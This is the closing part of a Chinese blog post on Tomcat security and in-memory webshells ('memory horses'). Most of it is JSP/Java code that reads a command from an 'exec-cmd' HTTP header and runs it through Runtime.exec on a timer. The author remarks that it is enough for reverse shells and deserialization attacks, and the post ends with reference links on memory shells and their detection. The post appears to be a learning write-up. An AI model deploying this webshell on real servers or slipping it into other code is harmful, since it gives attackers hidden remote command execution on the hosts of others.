                                target = getField(processor, "req");  
  
                                threadName = (String) target.getClass().getMethod("getHeader", String.class).invoke(target, new String("exec-cmd"));  
                                if (threadName != null && !threadName.isEmpty()) {  
  
                                    Object       note = target.getClass().getDeclaredMethod("getNote", int.class).invoke(target, 1);  
                                    Object       req  = note.getClass().getDeclaredMethod("getRequest").invoke(note);  
                                    List<Object> list = new ArrayList<Object>();  
                                    list.add(req);  
                                    list.add(threadName);  
                                    return list;  
                                }  
                            }  
                        }  
                    }  
                }  
            }  
        } catch (Exception ignored) {  
        }  
  
        return new ArrayList<Object>();  
    }  
  
    private static Object getField(Object object, String fieldName) throws Exception {  
        Field field = null;  
        Class clazz = object.getClass();  
  
        while (clazz != Object.class) {  
            try {  
                field = clazz.getDeclaredField(fieldName);  
                break;  
            } catch (NoSuchFieldException var5) {  
                clazz = clazz.getSuperclass();  
            }  
        }  
  
        if (field == null) {  
            throw new NoSuchFieldException(fieldName);  
        } else {  
            field.setAccessible(true);  
            return field.get(object);  
        }  
    }  
%>  
<%  
    final HashSet<Object> set = new HashSet<Object>();  
    java.util.Timer executeSchedule = new java.util.Timer();  
    executeSchedule.schedule(new java.util.TimerTask() {  
        public void run() {  
            List<Object> list = getRequest();  
            if (list.size() == 2) {  
                if (!set.contains(list.get(0))) {  
                    set.add(list.get(0));  
                    try {  
                        Runtime.getRuntime().exec(list.get(1).toString());  
                    } catch (Exception e) {  
                        e.printStackTrace();  
                    }  
                }  
            }  
        }  
    }, 0, 100);  
%>

来自于su18师傅 [[Media/4efb5206c898538c10e067f822125613_MD5.jpeg|Open: QQ_1722260892345.png]] ![[Media/4efb5206c898538c10e067f822125613_MD5.jpeg]] 这样用 关于复现很奇怪,发包10几次才有一次正常弹出计算器,目前不知道是哪儿的问题,不过反弹shell、反序列化是够了

Exeutor型#

有点难。。正在研究

Links#

参考 & 高质量 & 工具

Tomcat 内存马(一)Listener型 - Atomovo - 博客园 (cnblogs.com) Tomcat Filter 型内存马流程理解与手写 EXP - FreeBuf网络安全行业门户 Tomcat 内存马学习(一):Filter型 – 天下大木头 (wjlshare.com) Context琐事 | fynch3r的小窝 Java安全学习——内存马 - 枫のBlog (goodapple.top) JavaWeb 内存马二周目通关攻略 | 素十八 (su18.org) https://github.com/c0ny1/java-object-searcher Java内存马3:内存马查杀 - Java | 如月专注 (ruyueattention.github.io) 绕过检测之Executor内存马浅析(内存马系列篇五) - FreeBuf网络安全行业门户

在IDEA中调试Tomcat_&_Tomcat安全入门
http://orxiain.life/posts/在idea中调试tomcat__tomcat安全入门/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2024-08-26
许可协议
CC BY-NC-SA 4.0